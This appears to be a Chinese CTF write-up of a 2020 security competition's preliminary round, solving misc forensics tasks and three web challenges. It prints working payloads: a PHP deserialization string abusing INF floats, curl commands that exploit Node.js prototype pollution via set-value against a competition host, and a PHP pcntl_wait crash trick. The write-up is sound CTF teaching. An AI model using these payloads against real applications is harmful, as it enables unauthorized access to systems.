2020-08-22

2020 信息安全竞赛初赛 Writeup

一人 A 了五题 ... 三题 Web 两题 Misc,还有一题 Web 是早上 8 点多起来再看 A 了 ... 情况如下:

0x01 签到

如题

0x02 the_best_ctf_game

解压后,使用file命令查看flag文件,发现为data。由于文件体积小,所以直接 HEXdump 查看,发现flag{有一定的排布规律。按照以上规律一直找出剩下的字符直到结尾的}为止。

Flag:

1
flag{65e02f26-0d6e-463f-bc63-2df733e47fbe}

0x03 电脑被黑

解压后,使用file命令查看disk_dump,发现是 Linux 文件系统镜像,于是再对该文件直接解压,进入.Trash-0文件夹,发现位于misc01/flag.txt曾被删除,因此进入misc01,发现fakeflag.txt,内容不是文本内容。又发现demo文件,使用file命令查看,其为二进制可执行文件。

demo反编译后发现是一段简单的加密程序,核心部分如下:

编写对应的解密程序:

将解密程序应用于fakeflag.txt,发现flag{flag_is_not_here}。但是上述加密程序只是原位改变字符,因此我们找到fakeflag.txtflag{五个字符对应的二进制数据\x44\x2A\x03\xE5\x29,再对disk_image文件进行二进制查找,发现了两处。

将上述两处二进制数据再使用刚才的解密程序跑一遍,得到解密结果,其中第二处就是真实的flag

1
flag{e5d7c4ed-b8f6-4417-8317-b809fc26c047}

0x04 easytrick

由于对字符串长度进行限制,首先想到 md5 碰撞,并在原始字符中用%00截断。但是该环境的 PHP 版本已经没有strlen的截断。所以不能通过 md5 碰撞实现。

但是,可以利用 PHP 中浮点数的性质:当该浮点数越界时(值为 INF),INF 和其转换后的字符串不相等,这样代码中的$this->trick1 != $this->trick2的条件满足。因此可以在满足长度限制的情况下选足够越界的浮点数,如1E999

而 PHP 调用md5函数时,会首先将参数转换为string类型,因此两个相同的浮点数转换成字符串之后显然值也相同,其 md5 的值也显然满足md5($trick1) === md5($trick2)

构造如下的 Payload:

1
?trick=O:5:"trick":2:{s:6:"trick1";d:1E999;s:6:"trick2";d:1E999;}

即可获得 flag:

1
flag{3363dbf3-6aee-4237-80a4-45dfd4302670}

0x06 littlegame

利用 JavaScript 的原型污染。

解压后发现是 NodeJS 后端,打开app.js,发现其引用了./route/index.js文件,该文件即该服务器的路由配置。浏览了大致逻辑后,发现有定义Admin对象,但其密码都存放在环境变量中,不太可能直接获取。又发现/Privilege接口下有setFn方法,该方法在set-valuenpm库中。

进入node_modules文件夹,查阅该库的README.md文件查看使用方法,发现其可以直接递归设置对象的属性。因此想到可以利用该方法修改对象的__proto__原型属性。

由于req.session.knight已经在/SpawnPoint接口中定义,其和Admin都为Object类型,因此可以直接污染Object对象,将setFnkey设置为__proto__.password4,这样在Admin中也可以访问到。

操作步骤如下:首先打开浏览器,访问/SpawnPoint 页面,按 F12 获取Cookie,其中存有当前的 session 信息。然后使用curl命令,构造如下 Payload:

1
curl -X POST http://eci-2ze8fdkadazxf8p5ixkv.cloudeci1.ichunqiu.com:8888/Privilege -H "Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1597834899,1597898198,1597922082,1597940420; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1597940431; __jsluid_h=7e79a71d07464233925aae702711e74c; session=s%3AmhBEzbWkc2n9v98F_zGw6Fkot35iiFdR.AwiWc0sreP8jPuNbAxp1K6uR0xVQzfrUlxEz3uR89Os" -d "NewAttributeKey=__proto__.password4&NewAttributeValue=100"

password4设置为100

最后访问/DeveloperControlPanel接口:

1
curl -X POST http://eci-2ze8fdkadazxf8p5ixkv.cloudeci1.ichunqiu.com:8888/DeveloperControlPanel -H "Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1597834899,1597898198,1597922082,1597940420; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1597940431; __jsluid_h=7e79a71d07464233925aae702711e74c; session=s%3AmhBEzbWkc2n9v98F_zGw6Fkot35iiFdR.AwiWc0sreP8jPuNbAxp1K6uR0xVQzfrUlxEz3uR89Os" -d "key=password4&password=100"

即获得 Flag:

1
flag{5c50a759-40b8-4348-bb96-cbacdb071eeb}

0x07 easyphp

首先根据题目的文字描述”fork 出的进程能异常退出?“及 PHP 代码可发现,只要构造适当的ab参数,使得 fork 出的子进程经过call_user_function_array函数调用a时异常退出即可。

因此a需要可以使得子进程异常退出的,带有 3 个参数的函数,且不含pcntlexec关键词。但我们可以将a设置为call_user_function,这样b就可以是带有pcntl等关键词了。这里需要b为带两个参数的函数。首先就想到了posix_kill,但是这样提交后,服务器直接 502:

因此要想别的方法,接着发现了pcntl-wait函数,尝试了一下,成功进入 PHPInfo 界面。具体产生错误的原理可能是该子进程已经不存在子进程,或者两个进程之间同时 wait 造成的死锁而产生异常退出:

Paylod:

1
?a=call_user_func&b=pcntl_wait

在 PHPInfo 界面得到 Flag:

1
flag{98463eb0-7bf1-4164-ac67-32f2a1583511}